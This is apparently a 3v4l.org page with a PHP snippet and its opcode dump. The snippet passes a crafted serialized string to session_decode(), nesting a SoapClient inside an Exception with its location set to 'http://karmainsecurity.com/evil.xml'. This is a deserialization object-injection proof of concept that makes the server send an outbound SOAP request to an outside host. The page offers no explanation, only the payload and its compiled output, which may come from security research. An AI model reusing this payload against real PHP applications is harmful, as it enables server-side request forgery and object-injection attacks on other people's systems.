3v4l.org

run code in 300+ PHP versions simultaneously
<?php session_start(); session_decode('test|O:9:"Exception":1:{S:19:"\00Exception\00previous";O:10:"SoapClient":3:{S:3:"uri";S:0:"";S:8:"location";S:35:"http://karmainsecurity.com/evil.xml";S:13:"_soap_version";i:1;}}'); var_dump($_SESSION);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ujk9b
function name:  (null)
number of ops:  10
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL                                               'session_start'
          1        DO_ICALL                                                 
    5     2        INIT_FCALL                                               'session_decode'
          3        SEND_VAL                                                 'test%7CO%3A9%3A%22Exception%22%3A1%3A%7BS%3A19%3A%22%5C00Exception%5C00previous%22%3BO%3A10%3A%22SoapClient%22%3A3%3A%7BS%3A3%3A%22uri%22%3BS%3A0%3A%22%22%3BS%3A8%3A%22location%22%3BS%3A35%3A%22http%3A%2F%2Fkarmainsecurity.com%2Fevil.xml%22%3BS%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D%7D'
          4        DO_ICALL                                                 
    7     5        INIT_FCALL                                               'var_dump'
          6        FETCH_R                      global              ~2      '_SESSION'
          7        SEND_VAL                                                 ~2
          8        DO_ICALL                                                 
          9      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
173.9 ms | 1394 KiB | 19 Q